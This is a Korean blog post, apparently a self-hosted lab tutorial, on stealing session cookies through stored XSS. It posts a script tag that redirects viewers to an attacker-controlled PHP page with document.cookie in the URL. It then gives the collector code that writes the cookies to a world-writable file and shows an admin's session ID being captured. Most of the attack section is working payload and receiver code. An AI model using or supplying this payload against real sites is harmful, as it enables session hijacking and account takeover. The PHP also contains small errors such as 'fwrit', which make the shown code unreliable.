본문 바로가기

web/웹 해킹 및 보안

xss를 이용한 session 탈취




1. 준비물

탈취한 cookie를 받을 서버 

xss 취약점이 발생하는 웹 사이트 (저는 제가 구축 했습니다.)




1. xss 취약점 test


<script>alert("test")</script>를 입력한다. 


1)


해당 게시글을 눌렀을 때


2)


xss 취약점의 발생하는지 확인 한다. (정상적을 발생)



본격적 session (cookie 정보) 탈취



     

게시글을 다시 작성하고 

<script>document.location="서버 주소(준비한 서버의 주소/(php파일 이름 ).php) ?cookie="+document.cookie;</script>


위의 script 문은 자신이 원하는 서버에 cookie값을 전송줍니다.



서버에서의 처리 



cookie 값을 받는 php 파일 (예시에서는 aaaa.php)

$cookie=$_GET[cookie] --> get 방식으로 cookie를 전달해주므로 cookie 값을 받아 $cookie 변수에 저장해준다.


$save_file=fopen("경로 ","w") 서버 안에 받아온 cookie 값을 저장해줄 경로와 파일 이름을 적는다 . "w" 는 파일의 쓰기 권한을 말한다.


fwrit($save_file,$cookie); file write 라는 뜻으로 원하는 파일($save_file에 원하는 값($cookie) 을 입력(쓰기) 한다.


fclose($save_file) 파일을 닫아준다 ($save_file)



제가 설정한 경로는 /home 입니다 .


처리해 주어야 할 작업 

/home/cookie.txt 파일에 쓰기 권한을 설정해줘야한다.


chmod 777 (파일 이름) 모든 유저에 모든 권한 





 test



1. 실제 어드민으로 접속한 후 세션 확인 





sessionid = q~~~~~~~~~~~~~93


어드민으로 방금 작성했던 게시글을 누른다 (intadd 위에 참고)





정상적으로 aaaa.php 로 이동하였고 cookie 값을 get방식으로 넘겨주었습니다 (url 로 확인 가능)




서버로 확인하기




admin 세션아이디가 일치하는 것을 확인 할 수 있습니다.

이를 통해 admin의 세션 아이디를 탈취 했다는 것을 알 수 있습니다.



간단 요약 

게시글에 xss 삽입

admin 이 게시글을 확인 

 삽입한 xss가 admin 의 sessionid 정보를 원하는 서버에 전송 

서버에서는 sessionid 를 저장한다. 






이렇게 xss 취약점을 이용하여 admin(혹은 다른 사용자) 의 세션 정보를 획득 할 수 있습니다.